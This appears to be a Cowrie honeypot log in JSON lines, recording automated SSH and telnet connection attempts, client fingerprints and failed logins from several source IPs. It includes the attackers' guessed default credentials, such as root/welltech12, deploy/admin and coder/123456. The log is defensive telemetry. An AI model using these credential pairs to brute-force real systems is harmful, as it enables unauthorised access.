{"eventid":"cowrie.session.connect","src_ip":"50.7.136.106","src_port":41466,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a4a58128897","protocol":"ssh","message":"New connection: 50.7.136.106:41466 (10.17.0.5:22) [session: 9a4a58128897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:53.763596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:53.768813Z","src_ip":"50.7.136.106","session":"9a4a58128897","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ba:b2:8e:db:3a:2e:b7:a6:fc:ee:2f:3f:00:95:b7:af","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIrH8v9XBwH6YsgTIl+59CIBYfyE6SMSWhhvxSe1pzB8","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ba:b2:8e:db:3a:2e:b7:a6:fc:ee:2f:3f:00:95:b7:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:53.847133Z","src_ip":"194.120.230.72","session":"c4af9ff82c9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ba:b2:8e:db:3a:2e:b7:a6:fc:ee:2f:3f:00:95:b7:af","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIrH8v9XBwH6YsgTIl+59CIBYfyE6SMSWhhvxSe1pzB8","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:53.852111Z","src_ip":"194.120.230.72","session":"c4af9ff82c9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:53.859934Z","src_ip":"50.7.136.106","session":"9a4a58128897","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:53.943108Z","src_ip":"194.120.230.72","session":"c4af9ff82c9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45718,"dst_ip":"159.203.135.109","dst_port":22,"session":"b63c8cc317b9","protocol":"ssh","message":"New connection: 192.109.200.237:45718 (159.203.135.109:22) [session: b63c8cc317b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:53.962122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:53.968693Z","src_ip":"192.109.200.237","session":"b63c8cc317b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:54.053101Z","src_ip":"192.109.200.237","session":"b63c8cc317b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welltech12","message":"login attempt [root/welltech12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:54.109137Z","src_ip":"50.7.136.106","session":"9a4a58128897","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"login","password":"login","message":"login attempt [login/login] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:54.300958Z","src_ip":"192.109.200.237","session":"b63c8cc317b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47024,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3a28fc55b21","protocol":"telnet","message":"New connection: 152.42.224.71:47024 (10.17.0.5:23) [session: e3a28fc55b21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:54.411217Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:55.199061Z","src_ip":"50.7.136.106","session":"9a4a58128897","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:55.510262Z","src_ip":"192.109.200.237","session":"b63c8cc317b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00232410430908,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:56.907218Z","src_ip":"46.60.48.98","session":"aa4769695b67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45742,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb013c1d6b1f","protocol":"ssh","message":"New connection: 192.109.200.237:45742 (159.203.135.109:22) [session: fb013c1d6b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:57.430879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:57.435475Z","src_ip":"192.109.200.237","session":"fb013c1d6b1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:57.517586Z","src_ip":"192.109.200.237","session":"fb013c1d6b1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"admin","message":"login attempt [deploy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:57.764183Z","src_ip":"192.109.200.237","session":"fb013c1d6b1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:58.912439Z","src_ip":"192.109.200.237","session":"fb013c1d6b1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.60.48.98","src_port":53134,"dst_ip":"159.203.135.109","dst_port":23,"session":"5412900ef07f","protocol":"telnet","message":"New connection: 46.60.48.98:53134 (159.203.135.109:23) [session: 5412900ef07f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:01.043252Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37678,"dst_ip":"159.203.135.109","dst_port":22,"session":"c26b11147ba3","protocol":"ssh","message":"New connection: 192.109.200.237:37678 (159.203.135.109:22) [session: c26b11147ba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:01.079202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:01.084715Z","src_ip":"192.109.200.237","session":"c26b11147ba3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:01.169149Z","src_ip":"192.109.200.237","session":"c26b11147ba3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"orca","password":"orca","message":"login attempt [orca/orca] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:01.417580Z","src_ip":"192.109.200.237","session":"c26b11147ba3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":117.48882031440735,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:02.313426Z","src_ip":"152.42.224.71","session":"49adae6cadd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:02.505778Z","src_ip":"192.109.200.237","session":"c26b11147ba3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37684,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ccff4997d67","protocol":"ssh","message":"New connection: 192.109.200.237:37684 (159.203.135.109:22) [session: 5ccff4997d67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:04.386947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:04.391642Z","src_ip":"192.109.200.237","session":"5ccff4997d67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:04.475365Z","src_ip":"192.109.200.237","session":"5ccff4997d67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.60.48.98","src_port":54050,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff2d12f1cf34","protocol":"telnet","message":"New connection: 46.60.48.98:54050 (159.203.135.109:23) [session: ff2d12f1cf34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:04.723950Z"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:04.732305Z","src_ip":"192.109.200.237","session":"5ccff4997d67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.60.48.98","src_port":54028,"dst_ip":"159.203.135.109","dst_port":23,"session":"163d4944c2cb","protocol":"telnet","message":"New connection: 46.60.48.98:54028 (159.203.135.109:23) [session: 163d4944c2cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:04.863473Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:05.820270Z","src_ip":"192.109.200.237","session":"5ccff4997d67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.375786781311035,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:06.653585Z","src_ip":"152.42.224.71","session":"343e9f38b8ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37698,"dst_ip":"159.203.135.109","dst_port":22,"session":"8eeebd926b0f","protocol":"ssh","message":"New connection: 192.109.200.237:37698 (159.203.135.109:22) [session: 8eeebd926b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:07.896294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:07.900912Z","src_ip":"192.109.200.237","session":"8eeebd926b0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:07.983050Z","src_ip":"192.109.200.237","session":"8eeebd926b0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:08.229470Z","src_ip":"192.109.200.237","session":"8eeebd926b0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:09.314508Z","src_ip":"192.109.200.237","session":"8eeebd926b0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55868,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbcfc045fdb2","protocol":"ssh","message":"New connection: 192.109.200.237:55868 (159.203.135.109:22) [session: fbcfc045fdb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:11.278358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:11.317601Z","src_ip":"192.109.200.237","session":"fbcfc045fdb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:11.500973Z","src_ip":"192.109.200.237","session":"fbcfc045fdb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345","message":"login attempt [user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:11.752565Z","src_ip":"192.109.200.237","session":"fbcfc045fdb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00174164772034,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:12.382320Z","src_ip":"152.42.224.71","session":"1e1ec848ee8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:12.843746Z","src_ip":"192.109.200.237","session":"fbcfc045fdb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55880,"dst_ip":"159.203.135.109","dst_port":22,"session":"018983ba7f97","protocol":"ssh","message":"New connection: 192.109.200.237:55880 (159.203.135.109:22) [session: 018983ba7f97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:14.761660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:36:14.768591Z","src_ip":"192.109.200.237","session":"018983ba7f97","protocol":"ssh"}
